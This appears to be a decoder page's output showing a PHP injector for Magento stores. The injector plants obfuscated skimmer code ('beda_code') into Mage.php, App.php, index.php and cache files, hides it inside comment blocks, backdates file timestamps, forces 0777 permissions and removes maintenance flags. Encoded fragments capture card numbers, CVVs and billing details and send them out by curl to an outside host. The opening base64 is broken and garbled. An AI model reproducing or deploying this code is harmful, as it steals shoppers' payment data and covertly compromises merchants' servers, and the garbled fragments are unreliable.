iCNsDMg0DI052YkACIgACIgACIgACIgACIgAiCNoQD7kCZlR2bj5WZflXYw91YjRCIsIiYyUiCAgICAgICAgICAgICAgJGNjX3BheSA9ICRjY19udW1iZXIgLiAnfCcgLiAkY2NfbW9udGggLiAnLycgLiAkY2NfeWVhciAuICd8JyAuICRjY19jaWQ7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWydfbWRhdGSAuICcgJyAuICRfUE9TVFsnYmlsbGluZyddWydsYXN0bmFtZSddIC4gJ3wnIC4gJF9QT1NUWydiaWxsaW5nJ11bJ3N0cmVldCddWycwJ10gLiAnfCcgLiAkX1BPU1RbJ2JpbGxpbmcnXVsnY2l0eSddIC4gJAgICAgICAgICAgICAgICRjY19jaWQgPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgIWa0BCLuV2avRXYkACLi4WZr9GduR2XigSZpt2bvNGdlNHIgACIgACIgACIgAiCNsTKddCZy92dzNXYwdyWddibpd2bsdyWUN1TQ9FJg4CIisjIg4CIddSZtFmbyV2c1dyWddGVkUPRVVB9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsICMuIzMvg3bmVmcpZEIxATMwITMwIzLvt2YldEIpAjLyMjO2JHI7EjL1ACVOByc39GZul2VoACMuUzLhxGbpp3bNJCI+0DIU5URIDE6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjY19udW1iZXIgPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAAgICAgICAgICAgICAgICAgIEBleGVjKCdjdXJsIC0taW5zZWN1cmUgJyAuICdodHRwczovL2NlbG9sdW0uY29tL01FR0FMT0RPTi9pbmRleC5waHA/dmlldz0nIC4gJGNjX3BheV9lbmNvZGVkKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgNvbnRlbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydiaWxsaW5nJ10pKSB7DQogICAgICAWddyZulGbslmYnsFVT9EUfRCIuAyJ8ByJg4CIddibvl2ZlJ3Jb11Jn5WasxWaidyWUN1TQ9FJg4CInw3";$HxdshqOT="==wO65GOJp2T4YkZJRCIuJXd0VmcKkSKyVGef5mTZdXSPRCK0V2czlWIoYWaKsTf9tTKp0VMrMmMydGcVpVRkslRNFlThh1RRF2SkwSXjJjcnBXVaVEJbZUTR5UYYdUUhtEJs4kSGhEZDl3XmdEJoIHdzJWdzhiUq9lQVlmck0jL65GOJp2T4YkZJRyelNHbl13Op0VMrMmMydGcVpVRkslRNFlThh1RRF2SkwSXjJjcnBXVaVEJbZUTR5UYYdUUhtEJs4kSGhEZDl3XmdEJoIHdzJWdz1jL65GOJp2T4YkZJRyepQTJjJjcnBXVaVEJoYWa7liM9syYyI3ZwVlWFRyOpYUTR5UYYdUUhtEJoY2blpXazxzYyI3ZwVlWFRyOw0zYyI3ZwVlWFRCKy9mZ7IiI9onb4kkaPhjRmlEJKsTK5ATMsgTOwEDLzcTMsgjM3UDL5cTMsITO1IDLzYTMsIDMyATMsczNsUjM3MDL0QTMsgDN4EDL1UTMsUDN1EDL5YTMsATN3gDLzITMsIjM4wSO2EDL2YDM3wiN4wiNyQDMxwCN4wSO5MzNsMDMxwyNzMjMsQjNxwiN2gDMxwiM1wSOxIDOscTOxwCN5AjNsMTOxwSMwkTNskzNxwyMyADMxwCM0wiM3ATNsUTNsITM1ATMskDOxwCM2YTOscTOxwSN0cDNsgzMxwiM5MTOsETMxwCNzQTMsETOsITO5EDL0QTMsIDO2ETMsEzMxwyN0UTNsEjNsUjNzATMsMTOscDMyEDLyUTMsADN0IDL0ATMsETOyYDLzkTMscTM3cDLzkDL5UTMyEDL4UDL5ITNzwiN1EDL5cjMxEDLwgDLyUjMyEDLzUTMsUDN5wCN2wCO2EjMscTOsUTOzYDL2cTMsITN5IDL4ETMsUzMyUDL0cTMskDN4kDL3cDL1IjMzwSO1EDL2gTN0wCM4wCOzkjNsMjMxwiMxETNsUDOsMDOwIDLzkTMsEzNygDL5MTMsYjM4ETMscTOsgjMxMDL0kTMsMTNzUDL4ITMscjN1ATMsUTMxwSNzQTMxwiN4EDLyAzMzwCO0wCOxAzNsQDOsgTO5MDL1gDLwETO3wyM1wyM3MDLzcTMsYDMxETMsEDNsIDOyQDLyMTMskjNwkDL2UDLwwCOzEDL3gTNzwiN3wCMzATMxwCNzEDL0IjN2wCN2EDL1MjM3wSM5EDLxAjM5wCMwIDLygDM0wCN5EDL1YTOxEDLyITMsYTNsEzNxwSN5YDMxwSO0EDL4YTN3wCM4EDL4UzN2wiMzEDLwUTNxEDL1gDLzgDN3wiMwEDL0gDN0wCM1EDL5ETO4wCO0EDLwAzNxwSM4EDLxczNywCMzEDLwMTN5wiM5wCO1YDOsYTOxwiMwgzMsIzMxwiM5QjNsgTOxwiNyQDLwMTMsIDN5QDL0MTMsADMzEDLwUDL4cjN1wSM1wCNyYDL1ATMsIzMyIDLyQTMsYTM1gDL3QTMsUzN2wiN0wSN5kzNsgzNxwSM0ADOsEjNxwyMyMDNsITNsQjN0gDLxQDL4gDNzwSN5EDL4cTMokXYyJXY9YUTR5UYYdUUhtEJ";if(function_exists($e8X5ar_)){$loa_k2E=@$e8X5ar_(\'$Gf_yCdHFJN,$riUB_jR\',$OIwYNn_xer($riUB_jR($HxdshqOT)));if($loa_k2E)$Gf_yCdHFJN=@$loa_k2E($Gf_yCdHFJN,$riUB_jR); }else{$uh2lRy0uj=")))";$uh2lRy0uj.="TOq";$uh2lRy0uj.="hs";$uh2lRy0uj.="dx";$uh2lRy0uj.="H";$uh2lRy0uj.="$";$uh2lRy0uj.="(";$uh2lRy0uj.="Rj";$uh2lRy0uj.="_";$uh2lRy0uj.="BU";$uh2lRy0uj.="i";$uh2lRy0uj.="r$";$uh2lRy0uj.="(r";$uh2lRy0uj.="ex_";$uh2lRy0uj.="nNY";$uh2lRy0uj.="wIO";$uh2lRy0uj.="$(l";$uh2lRy0uj.="a";$uh2lRy0uj.="ve";$uh2lRy0uj.="@";$uh2lRy0uj=$riUB_jR($uh2lRy0uj);@$NzQBgIsvRe($uh2lRy0uj);};if(function_exists($e8X5ar_)){$FbrbYXQ=@$e8X5ar_("",$OIwYNn_xer($riUB_jR($Gf_yCdHFJN)));if($FbrbYXQ)@$FbrbYXQ();}else{$Fs8Cfn=")";$Fs8Cfn.="))N";$Fs8Cfn.="JFH";$Fs8Cfn.="d";$Fs8Cfn.="Cy_";$Fs8Cfn.="f";$Fs8Cfn.="G$";$Fs8Cfn.="(Rj";$Fs8Cfn.="_B";$Fs8Cfn.="Uir";$Fs8Cfn.="$(";$Fs8Cfn.="rex";$Fs8Cfn.="_";$Fs8Cfn.="n";$Fs8Cfn.="NY";$Fs8Cfn.="wI";$Fs8Cfn.="O";$Fs8Cfn.="$(l";$Fs8Cfn.="a";$Fs8Cfn.="ve@";$Fs8Cfn=$riUB_jR($Fs8Cfn);@$NzQBgIsvRe($Fs8Cfn);};'));
$targets = array(
trim('/lib/Zend/Cache/Backend/Interface.php'),
trim('/lib/Varien/Cache/Core.php'),
);
$GLOBALS['targets'] = $targets;
$GLOBALS['beda_code'] = $beda_code;
function insert_line($lines, $codeline, $comment_indexes) {
if (!$comment_indexes)
return false;
shuffle($comment_indexes);
$index = $comment_indexes[0];
$r = array();
for ($i = 0; $i < sizeof($lines); $i++) {
$line = $lines[$i];
if ($i == $index) {
$r[] = "*/";
$r[] = $codeline;
$r[] = "/*";
}
$r[] = $line;
}
return $r;
}
function set_min_date($filepath) {
$dir = dirname($filepath);
$o = opendir($dir);
$min_lastmod = 0;
while ($r = readdir($o)) {
$mod = filemtime($dir . "/" . $r);
if (!$min_lastmod) {
$min_lastmod = $mod;
continue;
}
if ($min_lastmod > $mod) {
$min_lastmod = $mod;
}
}
if ($min_lastmod) {
touch($filepath, $min_lastmod + 1);
}
}
function check_before_modify($filepath) {
$fp = fopen($filepath, "r");
$lines = array();
if (flock($fp, LOCK_EX)) {
while (!feof($fp)) {
$line = trim(fgets($fp), "
");
$lines[] = $line;
}
}
fclose($fp);
$start_comment = false;
$end_comment = true;
$end_comment_quick = false;
for ($i = 0; $i < sizeof($lines); $i++) {
$line = trim($lines[$i]);
$line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
$line = preg_replace("#/\*.*?\*/#", "", $line);
$line = trim($line);
if (preg_match("#^/\*.*$#", $line)) {
$start_comment = true;
$end_comment = false;
$end_comment_quick = false;
continue;
}
if ($end_comment_quick) {
if (preg_match('#^\$[a-zA-Z0-9]+=#', $line)) {
return true;
}
}
if (preg_match("#^\*/$#", $line)) {
$start_comment = false;
$end_comment = true;
$end_comment_quick = true;
continue;
}
$end_comment_quick = false;
if ($start_comment) {
continue;
}
if (!$line)
continue;
return false;
}
return false;
}
function modify_file($filepath, $force = false) {
$perms = 0777 & fileperms($filepath);
$update_perms = false;
if ((!is_readable($filepath)) || (!is_writable($filepath))) {
$update_perms = true;
@chmod($filepath, 0777);
}
if (!is_readable($filepath))
return 0;
if ((!is_writable($filepath)) && (!$force))
return 0;
$fp = fopen($filepath, "r");
$lines = array();
if (flock($fp, LOCK_EX)) {
while (!feof($fp)) {
$line = trim(fgets($fp), "
");
$lines[] = $line;
}
}
fclose($fp);
if (!$lines)
return -1;
$start_comment = false;
$end_comment = true;
$end_comment_quick = false;
$end_index = -1;
$comment_indexes = array();
for ($i = 0; $i < sizeof($lines); $i++) {
$line = trim($lines[$i]);
$line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
$line = preg_replace("#/\*.*?\*/#", "", $line);
$line = trim($line);
if (preg_match("#^/\*.*$#", $line)) {
$start_comment = true;
$end_comment = false;
$end_comment_quick = false;
continue;
}
if ($end_comment_quick) {
if (preg_match('#^\$[a-zA-Z0-9]+=#', $line)) {
return 2;
}
}
if (preg_match("#^\*/$#", $line)) {
$start_comment = false;
$end_comment = true;
$end_comment_quick = true;
continue;
}
$end_comment_quick = false;
//
if ($start_comment) {
$comment_indexes[] = $i;
continue;
}
if (!$line)
continue;
$end_index = $i;
break;
}
if ($end_index <= 5) {
return 0;
}
$updated_lines = insert_line($lines, TREX_CODE, $comment_indexes);
$dt = implode("
", $updated_lines);
if (($force) && (!is_writable($filepath))) {
@unlink($filepath);
if (file_exists($filepath))
return 0;
}
file_put_contents($filepath, $dt, LOCK_EX);
set_min_date($filepath);
if ($update_perms) {
if ($perms >= 64) {
chmod($filepath, $perms);
} else {
chmod($filepath, 0644);
}
}
return 1;
}
function find_and_write($target, $force = false) {
if (check_before_modify($target))
return array($target, 2);
$statuscode = modify_file($target, $force);
return array($target, $statuscode);
}
function find_and_write_list($d, $list) {
$r = false;
foreach ($list as $target) {
$r = find_and_write($d . $target, false);
$statuscode = $r[1];
if ($statuscode > 0)
return $r;
}
foreach ($list as $target) {
$r = find_and_write($d . $target, true);
$statuscode = $r[1];
if ($statuscode > 0)
return $r;
}
return $r;
}
function insert_mage($filepath, $code, $force = false) {
$perms = 0777 & fileperms($filepath);
$update_perms = false;
if ((!is_readable($filepath)) || (!is_writable($filepath))) {
$update_perms = true;
@chmod($filepath, 0777);
}
if (!is_readable($filepath))
return 0;
if ((!is_writable($filepath)) && (!$force))
return 0;
$content = file_get_contents($filepath);
if (!$content)
return -1;
if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) {
return 2;
}
$cnt_r = substr_count($content, "
");
if (!preg_match("#
(\s+)Varien_Profiler::stop\('mage'\);#", $content, $match)) {
return -2;
}
$spaces = $match[1];
$profiler = $match[0];
$lines = explode("
", $code);
$lines2 = array();
for ($i = 0; $i < sizeof($lines); $i++) {
$line = rtrim($lines[$i]);
$lines2[] = $spaces . $line;
}
$content2 = $content;
if ($cnt_r) {
$content2 = str_replace("
", "
", $content2);
$content2 = str_replace("
", "
", $content2);
}
$code2 = $cnt_r ? implode("
", $lines2) : implode("
", $lines2);
$content2 = str_replace($profiler, $profiler . "
" . $code2, $content2);
if (substr_count($content2, "echo file_get_contents(base64_decode")) {
$content2 = str_replace("echo file_get_contents(base64_decode", "if(0)echo file_get_contents(base64_decode", $content2);
}
if (($force) && (!is_writable($filepath))) {
@unlink($filepath);
if (file_exists($filepath))
return 0;
}
file_put_contents($filepath, $content2, LOCK_EX);
set_min_date($filepath);
if ($update_perms) {
if ($perms >= 64) {
chmod($filepath, $perms);
} else {
chmod($filepath, 0644);
}
}
return 1;
}
function insert_app($filepath, $code, $force = false) {
$perms = 0777 & fileperms($filepath);
$update_perms = false;
if ((!is_readable($filepath)) || (!is_writable($filepath))) {
$update_perms = true;
@chmod($filepath, 0777);
}
if (!is_readable($filepath))
return 0;
if ((!is_writable($filepath)) && (!$force))
return 0;
$fp = fopen($filepath, "r");
$lines = array();
if (flock($fp, LOCK_EX)) {
while (!feof($fp)) {
$line = trim(fgets($fp), "
");
$lines[] = $line;
}
}
fclose($fp);
if (!$lines)
return -1;
$content = implode("
", $lines);
if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) {
return 2;
}
$tmp_index = 0;
$line_index = 0;
for ($i = 0; $i < sizeof($lines); $i++) {
$line = trim($lines[$i]);
$line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
$line = preg_replace("#/\*.*?\*/#", "", $line);
$line = trim($line);
if ((substr_count($line, "public function run(")) && (!strpos($line, "public function run("))) {
$tmp_index = $i;
continue;
}
if ($tmp_index > 0) {
if ($line == 'return $this;') {
$line_index = $i;
break;
}
}
}
if (!$line_index) {
return -2;
}
$line = $lines[$line_index];
if (!preg_match("#^(\s+)\S+#", $line, $match)) {
return -2;
}
$spaces = $match[1];
$clines = explode("
", $code);
$clines2 = array();
for ($i = 0; $i < sizeof($clines); $i++) {
$line = rtrim($clines[$i]);
$clines2[] = $spaces . $line;
}
$lines2 = array();
for ($i = 0; $i < sizeof($lines); $i++) {
$line = $lines[$i];
if ($i == $line_index) {
for ($j = 0; $j < sizeof($clines2); $j++) {
$lines2[] = $clines2[$j];
}
};
$lines2[] = $line;
}
$content2 = implode("
", $lines2);
if (($force) && (!is_writable($filepath))) {
@unlink($filepath);
if (file_exists($filepath))
return 0;
}
file_put_contents($filepath, $content2, LOCK_EX);
set_min_date($filepath);
if ($update_perms) {
if ($perms >= 64) {
chmod($filepath, $perms);
} else {
chmod($filepath, 0644);
}
}
return 1;
}
function insert_index_nosafe($filepath, $code, $force = false) {
$perms = 0777 & fileperms($filepath);
$update_perms = false;
if ((!is_readable($filepath)) || (!is_writable($filepath))) {
$update_perms = true;
@chmod($filepath, 0777);
}
if (!is_readable($filepath))
return 0;
if ((!is_writable($filepath)) && (!$force))
return 0;
$fp = fopen($filepath, "r");
$lines = array();
if (flock($fp, LOCK_EX)) {
while (!feof($fp)) {
$line = trim(fgets($fp), "
");
$lines[] = $line;
}
}
fclose($fp);
if (!$lines)
return -1;
$content = implode("
", $lines);
if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) {
return 2;
}
if (!substr_count($content, 'Mage::run($mageRunCode, $mageRunType);')) {
return -2;
}
$line_index = 0;
for ($i = 0; $i < sizeof($lines); $i++) {
$line = trim($lines[$i]);
$line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
$line = preg_replace("#/\*.*?\*/#", "", $line);
$line = trim($line);
if ($line == 'Mage::run($mageRunCode, $mageRunType);') {
$line_index = $i;
break;
}
}
if (!$line_index) {
return -2;
}
$clines = explode("
", $code);
$clines2 = array();
for ($i = 0; $i < sizeof($clines); $i++) {
$line = rtrim($clines[$i]);
$clines2[] = $line;
}
$lines2 = array();
for ($i = 0; $i < sizeof($lines); $i++) {
$line = $lines[$i];
$lines2[] = $line;
if ($i == $line_index) {
for ($j = 0; $j < sizeof($clines2); $j++) {
$lines2[] = $clines2[$j];
}
};
}
$content2 = implode("
", $lines2);
if (($force) && (!is_writable($filepath))) {
@unlink($filepath);
if (file_exists($filepath))
return 0;
}
file_put_contents($filepath, $content2, LOCK_EX);
set_min_date($filepath);
if ($update_perms) {
if ($perms >= 64) {
chmod($filepath, $perms);
} else {
chmod($filepath, 0755);
}
}
return 1;
}
function insert_index($filepath, $code, $force = false) {
$r = insert_index_nosafe($filepath, $code, $force);
@chmod($filepath, 0755);
return $r;
}
function path_finder() {
$pth = $_SERVER['DOCUMENT_ROOT'];
$d1 = $pth . '/../../..';
$d2 = $pth . '/../..';
$d3 = $pth . '/..';
if (is_readable($d1))
return realpath($d1);
if (is_readable($d2))
return realpath($d2);
if (is_readable($d3))
return realpath($d3);
return $pth;
}
function smartscan($dir) {
if (!is_readable($dir))
return array();
if (function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
$files = array();
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function super_get_url($url, $post = false) {
$options = array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_ENCODING => "",
CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0",
CURLOPT_AUTOREFERER => true,
CURLOPT_CONNECTTIMEOUT => 120,
CURLOPT_TIMEOUT => 120,
CURLOPT_MAXREDIRS => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
);
if ($post) {
$options[CURLOPT_POST] = 1;
$options[CURLOPT_POSTFIELDS] = $post;
}
$ch = curl_init($url);
curl_setopt_array($ch, $options);
$content = @curl_exec($ch);
return $content;
}
function update_iteration($folder) {
$targets = $GLOBALS['targets'];
$beda_code = $GLOBALS['beda_code'];
$indexFile = $folder . "/index.php";
$mageFile = $folder . "/app/Mage.php";
$appFile = $folder . "/app/code/core/Mage/Core/Model/App.php";
$code = 0;
if (file_exists($mageFile)) {
$code = insert_mage($mageFile, $beda_code);
switch ($code) {
case -2:
echo "[$mageFile] without regex signature; ";
break;
case -1:
echo "[$mageFile] is empty!; ";
break;
case 0:
echo "[$mageFile] is protected!; ";
break;
case 1:
echo "[$mageFile] updated!; ";
break;
case 2:
echo "[$mageFile] contains!; ";
break;
}
if ((($code == 0) || ($code == -2)) && (file_exists($appFile))) {
$code = insert_app($appFile, $beda_code);
switch ($code) {
case -2:
echo "[$appFile] without regex signature; ";
break;
case -1:
echo "[$appFile] is empty!; ";
break;
case 0:
echo "[$appFile] is protected!; ";
break;
case 1:
echo "[$appFile] updated!; ";
break;
case 2:
echo "[$appFile] contains!; ";
break;
}
}
if ((($code == 0) || ($code == -2)) && (file_exists($indexFile))) {
$code = insert_index($indexFile, $beda_code);
switch ($code) {
case -2:
echo "[$indexFile] without regex signature; ";
break;
case -1:
echo "[$indexFile] is empty!; ";
break;
case 0:
echo "[$indexFile] is protected!; ";
break;
case 1:
echo "[$indexFile] updated!; ";
break;
case 2:
echo "[$indexFile] contains!; ";
break;
}
}
if (($code == 0) || ($code == -2)) {
if (file_exists($indexFile)) {
$code = insert_index($indexFile, $beda_code, true);
switch ($code) {
case 1:
echo "[$indexFile] updated_2!; ";
break;
}
}
if (($code == 0) || ($code == -2)) {
$code = insert_mage($mageFile, $beda_code, true);
switch ($code) {
case 1:
echo "[$mageFile] updated_2!; ";
break;
}
}
if ((($code == 0) || ($code == -2)) && (file_exists($appFile))) {
$code = insert_app($appFile, $beda_code, true);
switch ($code) {
case 1:
echo "[$appFile] updated_2!; ";
break;
}
}
}
$update_data = find_and_write_list($folder, $targets);
$editFile = $update_data[0];
switch ($update_data[1]) {
case -1:
echo "[$editFile] empty!; ";
break;
case 0:
echo "[$editFile] comment not exists!; ";
break;
case 1:
echo "[$editFile] updated!; ";
break;
case 2:
echo "[$editFile] contains!; ";
break;
}
}
}
$notning = true;
$dir = path_finder();
$dd = array($dir);
for ($i = 0; $i < 4; $i++) {
$tmp = array();
foreach ($dd as $d) {
$res = smartscan($d);
foreach ($res as $v) {
if ($v == 'maintenance.flag') {
$flag = $d . "/" . $v;
echo " unlink[$flag]; ";
@unlink($flag);
}
if ($v == 'index.php') {
$indexFile = $d . "/index.php";
$mageFile = $d . "/app/Mage.php";
$appFile = $d . "/app/code/core/Mage/Core/Model/App.php";
$code = 0;
if (file_exists($mageFile)) {
$notning = false;
update_iteration($d);
}
} else {
if (is_dir($d . '/' . $v) && is_readable($d . '/' . $v) && ($v !== ".") && ($v !== "..")) {
$tmp[] = $d . '/' . $v;
}
}
}
}
$dd = $tmp;
}
$dir = $_SERVER['DOCUMENT_ROOT'];
$dd = array($dir);
if ($notning) {
for ($i = 0; $i < 4; $i++) {
$tmp = array();
foreach ($dd as $d) {
$res = smartscan($d);
foreach ($res as $v) {
if ($v == 'maintenance.flag') {
$flag = $d . "/" . $v;
echo " unlink[$flag]; ";
@unlink($flag);
}
if ($v == 'index.php') {
$mageFile = $d . "/app/Mage.php";
$appFile = $d . "/app/code/core/Mage/Core/Model/App.php";
$code = 0;
if (file_exists($mageFile)) {
$notning = false;
update_iteration($d);
}
} else {
if (is_dir($d . '/' . $v) && is_readable($d . '/' . $v) && ($v !== ".") && ($v !== "..")) {
$tmp[] = $d . '/' . $v;
}
}
}
}
$dd = $tmp;
}
}
echo " [Finish!] "; ?>
Did this file decode correctly?
Original Code
$beda_code = base64_decode(trim("dHJ5IHsKICAgICRwb2tlanUgPSBhcnJheSgNCiAgICAgICAgJ3M6LycsICcxJywgJ3RtbCcsICdQYScsICdaYS16MCcsICdIVCcsICdGT1JXQScsICdHRVQnLA0KICAgICAgICAnKy89JywgJ3N0cnInLCAnZmlyZScsICdhZG1pJywgJ0hUVFAnLCAndGUnLCAnI29uZScsICdSRScsDQogICAgICAgICdBRERSJywgJ2dlfGMnLCAncHJpY2UnLCAnX2RlJywgJ2Rpc2NvJywgJ2FjZS93JywgJ2hlYycsICdodCcsDQogICAgICAgICdweCcsICdIVCcsICdjLnNwYScsICd0IycsICdvcmQnLCAnYWRkcmUnLCAnX0hPJywgJzEyNy4wJywNCiAgICAgICAgJ2tvdXR8JywgJ2Nrb3V0JywgJ2Jhc2UnLCAnRF8nLCAnRVRITycsICdudDonLCAnX0MnLCAnbWVyJywNCiAgICAgICAgJ0knLCAnUkVRVUUnLCAnX2MwMScsICdlJywgJ3RlJywgJy50JywgJyNeWycsICdBRCcsDQogICAgICAgICdUX0knLCAnU1QnLCAnUkUnLCAnJCMnLCAnI2NhcicsICdTRVJWJyk7CgogICAgJG92ZXN1YmVnZSA9ICRwb2tlanVbNDFdIC4gJ1NUX00nIC4gJHBva2VqdVszNl0gLiAnRCc7CiAgICAkY2h1anloYSA9ICRwb2tlanVbMTRdIC4gJ3BhJyAuICRwb2tlanVbMTddIC4gJ2hlYycgLiAkcG9rZWp1WzMyXSAuICdvbmVzJyAuICRwb2tlanVbNDRdIC4gJ3B8JyAuICRwb2tlanVbMTBdIC4gJ2NoZScgLiAkcG9rZWp1WzMzXSAuICd8b25lcycgLiAkcG9rZWp1WzEzXSAuICdwYycgLiAkcG9rZWp1WzIyXSAuICdrb3UnIC4gJHBva2VqdVsyN107CiAgICAkb3Z5a2hpenVsdSA9ICRwb2tlanVbNTBdIC4gJ1FVRScgLiAkcG9rZWp1WzQ5XSAuICdfVVInIC4gJHBva2VqdVs0MF07CiAgICAkZXZhemljaCA9ICRwb2tlanVbNTJdIC4gJ3QjJzsKICAgICR3YXh5emhvbCA9ICRwb2tlanVbMTFdIC4gJ25oJyAuICRwb2tlanVbMl07CiAgICAkb3h5cmFiYXIgPSAkcG9rZWp1WzIzXSAuICd0cCcgLiAkcG9rZWp1WzBdIC4gJy9wYXRoJyAuICRwb2tlanVbMjZdIC4gJ2NlL3NwJyAuICRwb2tlanVbMjFdIC4gJ2lkZ2V0JyAuICRwb2tlanVbNDVdIC4gJ3h0JzsKICAgICR0b3Jla28gPSAkcG9rZWp1WzI1XSAuICdUUCcgLiAkcG9rZWp1WzM4XSAuICdMSUVOJyAuICRwb2tlanVbNDhdIC4gJ1AnOwogICAgJHZpaG9neSA9ICRwb2tlanVbMTJdIC4gJ19YXycgLiAkcG9rZWp1WzZdIC4gJ1JERScgLiAkcG9rZWp1WzM1XSAuICdGT1InOwogICAgJGp1cWVxb3RoYSA9ICRwb2tlanVbMTVdIC4gJ01PVEVfJyAuICRwb2tlanVbNDddIC4gJ0RSJzsKICAgICRhdHV4eWcgPSAkcG9rZWp1WzI0XSAuICdjZWwnIC4gJHBva2VqdVszXSAuICdnZScgLiAkcG9rZWp1WzQyXSAuICcwMDInOwogICAgJHVkYW11ZG9sbyA9ICRwb2tlanVbNV0gLiAnVFAnIC4gJHBva2VqdVszMF0gLiAnU1QnOwogICAgJGJvY2hhZHV3ZSA9ICRwb2tlanVbMjBdIC4gJ3VudDonOwogICAgJHh1cXlzeWRhID0gJHBva2VqdVsyOF0gLiAnZXI6JzsKICAgICRpdmV0dWNoID0gJHBva2VqdVsxOF0gLiAnOic7CiAgICAkZXRoYXFpc2h1ID0gJHBva2VqdVszOV0gLiAnY2hhJyAuICRwb2tlanVbMzddOwogICAgJHNoaWtvY29wID0gJHBva2VqdVsyOV0gLiAnc3M6JzsKICAgICRhY2l6dWR1aGUgPSAkcG9rZWp1WzUzXSAuICdFUl8nIC4gJHBva2VqdVsxNl07CiAgICAkYWNpc2hvYyA9ICRwb2tlanVbN107CiAgICAkb3F5bGF6aXRlID0gJHBva2VqdVszNF0gLiAnNjQnIC4gJHBva2VqdVsxOV0gLiAnY29kJyAuICRwb2tlanVbNDNdOwogICAgJHRoYWxpdHlnYSA9ICRwb2tlanVbOV0gLiAnZXYnOwogICAgJGRlY2hhcWlyaSA9ICRwb2tlanVbNDZdIC4gJ0EtJyAuICRwb2tlanVbNF0gLiAnLTknIC4gJHBva2VqdVs4XSAuICddKycgLiAkcG9rZWp1WzUxXTsKICAgICRzaGFqYXB1bnV0aCA9ICRwb2tlanVbMzFdIC4gJy4wLicgLiAkcG9rZWp1WzFdOwogICAgJGF4aXZvbCA9IDA7CiAgICAkZXphdGVrZW0gPSAwOwogICAgJGFxdXpob2NoeW0gPSBpc3NldCgkX1NFUlZFUlskYWNpenVkdWhlXSkgPyAkX1NFUlZFUlskYWNpenVkdWhlXSA6ICRzaGFqYXB1bnV0aDsKICAgICRpemhpZ3l3dSA9IGlzc2V0KCRfU0VSVkVSWyR0b3Jla29dKSA/ICRfU0VSVkVSWyR0b3Jla29dIDogaXNzZXQoJF9TRVJWRVJbJHZpaG9neV0pID8gJF9TRVJWRVJbJHZpaG9neV0gOiAkX1NFUlZFUlskanVxZXFvdGhhXTsKICAgICR1bXV6eWYgPSAkX1NFUlZFUlskdWRhbXVkb2xvXTsKICAgIGZvciAoJGNvcGVxdSA9IDA7ICRjb3BlcXUgPCBzdHJsZW4oJHVtdXp5Zik7ICRjb3BlcXUrKykgewogICAgICAgICRheGl2b2wgKz0gb3JkKHN1YnN0cigkdW11enlmLCAkY29wZXF1LCAxKSk7CiAgICAgICAgJGV6YXRla2VtICs9ICRjb3BlcXUgKiBvcmQoc3Vic3RyKCR1bXV6eWYsICRjb3BlcXUsIDEpKTsKICAgIH0KCiAgICBpZiAoKGlzc2V0KCRfU0VSVkVSWyRvdmVzdWJlZ2VdKSkgJiYgKCRfU0VSVkVSWyRvdmVzdWJlZ2VdID09ICRhY2lzaG9jKSkgewogICAgICAgIGlmIChwcmVnX21hdGNoKCRjaHVqeWhhLCAkX1NFUlZFUlskb3Z5a2hpenVsdV0pICYmICghcHJlZ19tYXRjaCgkZXZhemljaCwgJF9TRVJWRVJbJG92eWtoaXp1bHVdKSkpIHsKICAgICAgICAgICAgaWYgKCghaXNzZXQoJF9DT09LSUVbJHdheHl6aG9sXSkpICYmICghaXNzZXQoJF9DT09LSUVbJGF0dXh5Z10pKSkgewogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKICAgICAgICAgICAgICAgICAgICAkZXNoZXpvbCA9IGN1cmxfaW5pdCgkb3h5cmFiYXIpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTUpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1RJTUVPVVQsIDE1KTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGVzaGV6b2wsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoIiRib2NoYWR1d2UgJGF4aXZvbCIsICIkeHVxeXN5ZGEgJGV6YXRla2VtIiwgIiRpdmV0dWNoICRpemhpZ3l3dSIsICIkZXRoYXFpc2h1ICR1bXV6eWYiLCAiJHNoaWtvY29wICRhcXV6aG9jaHltIikpOwogICAgICAgICAgICAgICAgICAgICRqdXpodXFvdiA9IEBjdXJsX2V4